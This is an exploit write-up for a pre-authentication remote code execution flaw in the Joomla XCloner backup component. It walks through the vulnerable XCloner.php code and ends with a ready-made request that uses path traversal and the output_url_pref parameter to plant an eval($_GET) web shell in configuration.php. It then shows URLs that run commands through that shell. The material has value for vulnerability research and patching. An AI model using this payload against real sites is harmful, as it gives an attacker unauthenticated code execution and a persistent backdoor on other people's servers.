# Joomla component (com_xcloner-backupandrestore) remote code execution exploit
# Vendor: http://www.xcloner.com/
#
# "Our true divinity is in our ability to create. And armed with the understanding of the symbiotic connections
# of life, while being guided by the emergent nature of reality, there is nothing we cannot do or accomplish."

# Target Environment Settings:

#
# Description:
# ============
# XCloner is a Website Backup and Restore application designed for PHP/Mysql websites, it can work as a native plugin for WordPress and Joomla!.
# XCloner design was specifically created to Generate custom backups of any LAMP website through custom admin inputs, and to be able to Restore
# the clone on any other location with the help of the automatic Restore script we provide, independent from the main package!
#
# XCloner Backup tool uses Open Source standards like TAR and Mysql formats so you can rest assured your backups can be restored in a variety
# of ways, giving you more flexibility and full control.
#
# Vulnerability List (wordpress/joomla) & Explanation:
# ====================================================
# Here is the list of pre - auth vulns o.O:

#
# Not to mention the post - auth bugs...... but the most potent, pre-auth rce (joomla only). Enough yip yap, here we go....
#
# By accessing the XCloner.php page, the webmaster is presented an important message: "Security Note: After restore delete the
# XCloner.php script from your server". So my understanding is that the vulnerable code in this file, is sitting on web servers
# without requiring authentication to access until a restore happens. o.O. Below is an explanation of the vulnerable code, sorry but
# this is going to be long:
#
# The XCloner.php script begins by setting the array element 'output_path' of $_CONFIG to our input on line 72:
#
# $_CONFIG['output_path'] = $_REQUEST['output_path'];
#
# Later on we see a simple switch on lines 134-150 on our task parameter
#
# switch ($_REQUEST[task]) {
#    case 'step2':
#         step2();
#         break;
#
# We follow the case "step2" switch and land into that function (step2()) defined on lines 178-?. Inside that function we set the
# $_CONFIG array to global. The attacker must make sure that they DO NOT set the 'DBcreated' or 'transfer_mode' variable to 'on' or '2'
# (respectively) as it will kill our script when if it fails to connect to the database or FTP server. This is important to note,
# you will see later on.
#
# function step2($file=""){
# 
#     global $_CONFIG,$filepath ;
#     $DBcreated    = $_REQUEST[DBcreated];
# 
#     if ($DBcreated=='on'){
#
#   -- snip --
#
#         $db = @mysql_connect($DBhostname, $DBuserName, $DBpassword) or die("<br />The database details provided are incor... blah blah
#
#   -- snip --
#
# if($_REQUEST[transfer_mode]==2){
# 
#   -- snip --
#
#        // set up basic connection
#        $conn_id = @ftp_connect($_REQUEST[ftp_server], $_REQUEST[ftp_port]) or die("<span class='error'>Could not connect to .. blah blah
#
# We keep looking and we see something interesting on lines 473 - 483
#
#     if(($_REQUEST['do_database'] != 1) || ($_REQUEST['files_skip'] == 1)){
#         $config_file = $_CONFIG[output_path]."/configuration.php";
#         @chmod($config_file,0777);
#         @unlink($_CONFIG[output_path]."/administrator/backups/perm.txt");
#         if(($_CONFIG['sql_usefile'] == "database-sql.sql") and ($update_config))
#             if(write_config($config_file)){
#                 echo "<H2>Configuration updated!</H2>";
#             }else{
#                 echo "<span class='error'>Unable to write to configuration file $config_file... Aborting...</span>";return;
#             }
#         }
#
# So an attacker must ensure that our request does not contain any 'do_database' variable or have the 'files_skip' variable containing a
# value of '1'. If the attacker calls the configuration.php with a null byte (../../../../configuration.php%00) then the unlink() will be
# triggered and delete the config file we are trying to backdoor! So the attacker can specify the 'output_path' variable to
# '../../../../' instead and simply let the application append the 'configuration.php'. Now lets break down the call to write_config()
# which is defined at line 547
#
# function write_config($file){
# echo "made it here";
#     if(@$fp = fopen($file, "r")){
#         $config_data = "";
#         while(!feof($fp))
#               $config_data .= fread($fp, 1024);
#         fclose($fp);
#     }
#
# Ok so the script reads the file into $config_data variable.
#
#     if ($_REQUEST[DBcreated] == 'on'){
# 
#         $config_data = str_replace("define('DB_HOST', '", "define('DB_HOST', '".$_REQUEST[mysql_server]."');#", $config_data);
#         $config_data = str_replace("define('DB_USER', '", "define('DB_USER', '".$_REQUEST[mysql_username]."');#
#
#             -- snip --
#
#     if($_REQUEST['transfer_mode'] == 2){
#         $config_data = str_replace('$'.'ftp_host =',"$"."ftp_host ='".$_REQUEST[ftp_server]."';#", $config_data);
#         $config_data = str_replace('$'.'ftp_port =',"$"."ftp_port ='".$_REQUEST[ftp_port]."';#", $config_
#
#             -- snip --
#
# Now if the 'DBcreated' variable is set to 'on' or the 'transfer_mode' variable is set to '2', the attacker can overwrite the configuration.php
# file with 'mysql_server', 'mysql_username' or 'ftp_server', 'ftp_port' variables etc. However, the beginning of the XCloner.php script will
# kill the execution simply because setting those values will force the code to make an authentication, fail (if credz are wrong) and then die.
#
# if we keep looking, from line 585 we see:
#
#     $config_data = str_replace('$'.'live_site =',"$"."live_site ='".$_REQUEST[output_url_pref]."://".$_REQUEST[output_url]."';#", $config_data);
#
#     if ($fp = fopen($file, "w")) {
#         fwrite( $fp, $config_data);
#         fclose( $fp );
#     } else {
#         return false;
#     } // if
#  return true;
# }
#
# This is not part of the if statements like before, so the attacker at this point can simply overwrite the '$live_site' variable contained
# within configuration.php with 'malicious' code by setting the 'output_url_pref' variable accordingly.
#
# Exploitation:
# =============
# Seems to be that joomla and wordpress both have the vulnerable code in their plugins however only joomla uses the $live_site
# variable in their configuration file.
#
# Simply set the backdoor in configuration.php against our target:
# http://[target]/[path]administrator/components/com_xcloner-backupandrestore/restore/XCloner.php?
# task=step2&output_url_pref=';+}+?>+<?php+eval($_GET['lol']);+?>&output_path=../../../../
# Execute our code:
# http://[target]/[path]/?lol=phpinfo();
# http://[target]/[path]/?lol=system("id");
